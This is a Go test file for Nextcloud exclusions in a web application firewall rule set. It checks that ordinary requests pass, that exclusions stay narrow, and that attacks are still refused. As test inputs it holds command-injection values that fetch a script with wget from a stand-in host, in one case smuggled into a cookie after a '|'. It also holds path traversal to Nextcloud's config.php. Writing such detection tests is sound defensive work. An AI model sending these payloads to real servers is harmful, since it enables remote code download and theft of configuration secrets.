package coreruleset_test

import (
	"html"
	"net/http"
	"net/url"
	"strings"
	"testing"
)

// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5

// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"

// nextcloudUsers is the OCS API's list of accounts.
const nextcloudUsers = "/ocs/v2.php/cloud/users"

// nextcloudShares is the OCS API's list of shares.
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"

// nextcloudFiles is the WebDAV folder of the account admin.
const nextcloudFiles = "/remote.php/dav/files/admin/"

// nextcloudSave is where the text editor saves a document.
const nextcloudSave = "/apps/text/session/1/save"

// The WebDAV methods the Files app's search and a comment's edit use, and
// the method the sync client lists a folder with.
const (
	nextcloudSearch    = "SEARCH"
	nextcloudPropPatch = "PROPPATCH"
	nextcloudPropFind  = "PROPFIND"
)

// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`

// nextcloudCommandAttack is a shell command after a ";", as a query value.
const nextcloudCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"

func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
	t.Parallel()

	wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}

// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudQueryFields = []string{
	"/login?user=",
	"/login?redirect_url=",
	"/index.php/login?user=",
	"/apps/files/?dir=",
	"/apps/files/files/134?dir=",
	"/index.php/apps/files/?dir=",
	"/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO?file=",
	nextcloudShare + "/download?path=",
	nextcloudShare + "/download?path=%2F&files=",
	nextcloudUsers + "?search=",
	nextcloudUsers + "/details?search=",
	"/ocs/v2.php/cloud/groups?search=",
	"/ocs/v1.php/cloud/groups/details?search=",
	"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
	nextcloudShares + "?path=",
	"/ocs/v2.php/search/providers/files/search?term=",
	"/ocs/v2.php/search/providers/files/search?term=x&from=",
}

// nextcloudFormFields are the form data fields that skip the four rules, each
// on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
	{"/login", "user="},
	{"/login", "password="},
	{nextcloudUsers, "userid="},
	{nextcloudUsers, "displayName="},
	{nextcloudUsers, "groups%5B%5D="},
	{nextcloudUsers + "/admin", "value="},
	{"/ocs/v2.php/cloud/groups", "groupid="},
	{nextcloudShares, "path="},
	{nextcloudShares, "label="},
	{nextcloudShares, "shareWith="},
	{"/ocs/v1.php/apps/files_sharing/api/v1/shares/1", "note="},
}

// nextcloudBody is a JSON or XML body, sent with its method to a path. It
// holds %s, where a value goes.
type nextcloudBody struct{ method, target, contentType, body string }

// nextcloudBodies are the JSON and XML fields that skip the four rules, each
// on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudBodies = []nextcloudBody{
	{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
	{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
	{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
	{
		http.MethodPut, nextcloudUsers + "/admin",
		jsonBody, `{"key":"headline","value":"%s"}`,
	},
	{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
	{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
	{
		http.MethodPut, "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom",
		jsonBody, `{"message":"%s"}`,
	},
	{
		http.MethodPost, "/apps/theming/ajax/updateStylesheet",
		jsonBody, `{"setting":"slogan","value":"%s"}`,
	},
	{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
	{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
	{
		nextcloudSearch, "/remote.php/dav/", xmlBody,
		`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
			`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
			`</d:like></d:where></d:basicsearch></d:searchrequest>`,
	},
}

// nextcloudTexts are the fields that hold what a person writes, which skip
// 932125 and 932230 too.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{
	{http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`},
	{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
	{
		nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
		`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
			`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
			`</d:propertyupdate>`,
	},
}

// nextcloudScores returns the score that the Core Rule Set, reading bodies,
// gives each request that sends value, a query value, in one of the fields
// above, keyed by the request. The texts hold text in its place.
func nextcloudScores(t *testing.T, value, text string) map[string]int {
	t.Helper()

	crs := readingBodies(t)
	scores := map[string]int{}

	for _, target := range nextcloudQueryFields {
		scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
	}

	for _, sent := range nextcloudFormFields {
		r := request{http.MethodPost, sent.target, []string{formData}}
		got, _ := inspectBody(t, crs, r, sent.field+value)
		scores["POST "+sent.target+" "+sent.field+value] = got.Score
	}

	send := func(sent nextcloudBody, value string) {
		written, err := url.QueryUnescape(value)
		if err != nil {
			t.Fatal(err)
		}

		if sent.contentType == xmlBody {
			written = html.EscapeString(written)
		}

		body := strings.Replace(sent.body, "%s", written, 1)
		r := request{sent.method, sent.target, []string{sent.contentType}}
		got, _ := inspectBody(t, crs, r, body)
		scores[sent.method+" "+sent.target+" "+body] = got.Score
	}

	for _, sent := range nextcloudBodies {
		send(sent, value)
	}

	for _, sent := range nextcloudTexts {
		send(sent, text)
	}

	return scores
}

func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
	t.Parallel()

	for _, value := range hardValues {
		// A text names the command or file in a sentence that runs ls -la
		// after a ";", as recorded.
		text := "Run%20" + value + "%3B%20ls%20-la%20next"

		for request, score := range nextcloudScores(t, value, text) {
			if score >= nextcloudThreshold {
				t.Errorf("%s refused: %d", request, score)
			}
		}
	}
}

func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
	t.Parallel()

	for _, attack := range []string{
		sqlInjection,
		"..%2F..%2Fconfig%2Fconfig.php",
		scriptInjection,
		nextcloudCommandAttack,
	} {
		for request, score := range nextcloudScores(t, attack, attack) {
			if score < nextcloudThreshold {
				t.Errorf("%s let through: %d", request, score)
			}
		}
	}
}

func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	cookie := func(value string) request {
		return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
	}

	for _, value := range hardValues {
		name, err := url.QueryUnescape(value)
		if err != nil {
			t.Fatal(err)
		}

		wantResult(t, crs, cookie(name), matched())
	}

	// A cookie cannot hold a ";", so the command follows a "|" instead.
	for _, attack := range []string{
		injection,
		"../../config/config.php",
		scriptTag,
		"x|wget http://example.com/x.sh",
	} {
		if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
			t.Errorf("nc_username=%s let through: %+v", attack, got)
		}
	}

	got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
	if got.Score < nextcloudThreshold {
		t.Errorf("nc_other=python3 let through: %+v", got)
	}
}

func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	for _, method := range []string{
		nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
		nextcloudSearch,
	} {
		for _, target := range []string{
			nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
			"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
		} {
			wantResult(t, crs, request{method, target, nil}, matched())
		}

		for _, target := range []string{
			"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
		} {
			wantResult(t, crs, request{method, target, nil}, matched(911100))
		}
	}

	wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
}

func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE"}

	for _, method := range methods {
		for _, target := range []string{
			nextcloudFiles + "../../../config/config.php",
			nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
		} {
			got := inspect(t, crs, request{method, target, nil})
			if got.Score < nextcloudThreshold {
				t.Errorf("%s %s let through: %+v", method, target, got)
			}
		}
	}
}

func TestNextcloudExclusionsAreNarrow(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	for _, refused := range []string{
		"/?dir=python3",
		"/apps/other/?dir=python3",
		"/apps/files/?other=python3",
		"/login?other=python3",
		"/x/login?user=python3",
		nextcloudShare + "?files=powershell",
		"/?file=powershell",
		"/?search=python3",
		nextcloudUsers + "?other=python3",
		"/x/ocs/v2.php/cloud/users?search=python3",
	} {
		if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
			t.Errorf("%s let through: %+v", refused, got)
		}
	}

	for _, sent := range []nextcloudBody{
		// A JSON field of the same name in the query keeps the rules.
		{
			http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
			jsonBody, `{"message":"python3"}`,
		},
		{
			http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
			jsonBody, `{"value":"python3"}`,
		},
		{
			http.MethodPost, nextcloudUsers + "?json.userid=python3",
			jsonBody, `{"userid":"python3"}`,
		},
		// Other JSON fields keep them.
		{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
		{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
		{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
		{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
		// XML on another path, or with another method, keeps them.
		{
			nextcloudSearch, nextcloudFiles,
			xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
		},
		{
			nextcloudPropPatch, nextcloudFiles + "notes.txt",
			xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
		},
		{
			"REPORT", "/remote.php/dav/comments/files/1/2",
			xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
		},
	} {
		r := request{sent.method, sent.target, []string{sent.contentType}}

		got, _ := inspectBody(t, crs, r, sent.body)
		if got.Score < nextcloudThreshold {
			t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
		}
	}
}